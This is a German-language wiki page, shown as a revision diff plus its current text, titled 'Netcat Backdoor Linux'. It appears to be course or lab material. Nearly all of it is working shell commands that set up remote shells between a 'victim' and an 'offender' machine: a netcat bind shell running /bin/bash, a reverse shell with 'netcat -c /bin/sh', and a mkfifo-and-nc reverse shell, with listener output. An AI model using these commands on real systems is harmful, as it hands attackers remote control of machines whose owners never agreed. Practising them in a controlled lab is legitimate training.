Netcat Backdoor Linux: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(2 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 13: Zeile 13:
 
==with netcat-traditional==
 
==with netcat-traditional==
 
;reverse_tcp
 
;reverse_tcp
*root@offender:~# netcat -l -p 10002
+
*root@offender:~# netcat -l -v -p 10002
 
*root@victim:~# netcat -c /bin/sh 10.0.10.101 10002
 
*root@victim:~# netcat -c /bin/sh 10.0.10.101 10002
  
 
==with netcat-openbsd==
 
==with netcat-openbsd==
VICTIM=10.0.10.104
+
*root@victim:~# mkfifo /tmp/bp ; /bin/sh 0</tmp/bp | nc 10.0.10.101 8668 1>/tmp/bp
OFFENDER=10.0.10.101
 
*root@victim:~# mkfifo /tmp/bp ; /bin/sh 0</tmp/bp | nc $OFFENDER 8668 1>/tmp/bp
 
 
*root@offender:~# nc -lp 8668
 
*root@offender:~# nc -lp 8668
 
  listening on [any] 8668 ...
 
  listening on [any] 8668 ...
 
  connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154
 
  connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154

Aktuelle Version vom 4. Februar 2026, 07:39 Uhr

Linux

Auf dem Opfer
  • apt-get install netcat-traditional
  • update-alternatives --config nc
netcat-traditional auswählen (ist auf den Testmaschinen schon geschehen.)

with netcat-traditional

bind_tcp
  • root@victim:~# apt-get install netcat-traditional
  • root@victim:~# netcat -l -p 10001 -e /bin/bash
  • root@offender:~# netcat 10.0.10.104 10001

with netcat-traditional

reverse_tcp
  • root@offender:~# netcat -l -v -p 10002
  • root@victim:~# netcat -c /bin/sh 10.0.10.101 10002

with netcat-openbsd

  • root@victim:~# mkfifo /tmp/bp ; /bin/sh 0</tmp/bp | nc 10.0.10.101 8668 1>/tmp/bp
  • root@offender:~# nc -lp 8668
listening on [any] 8668 ...
connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154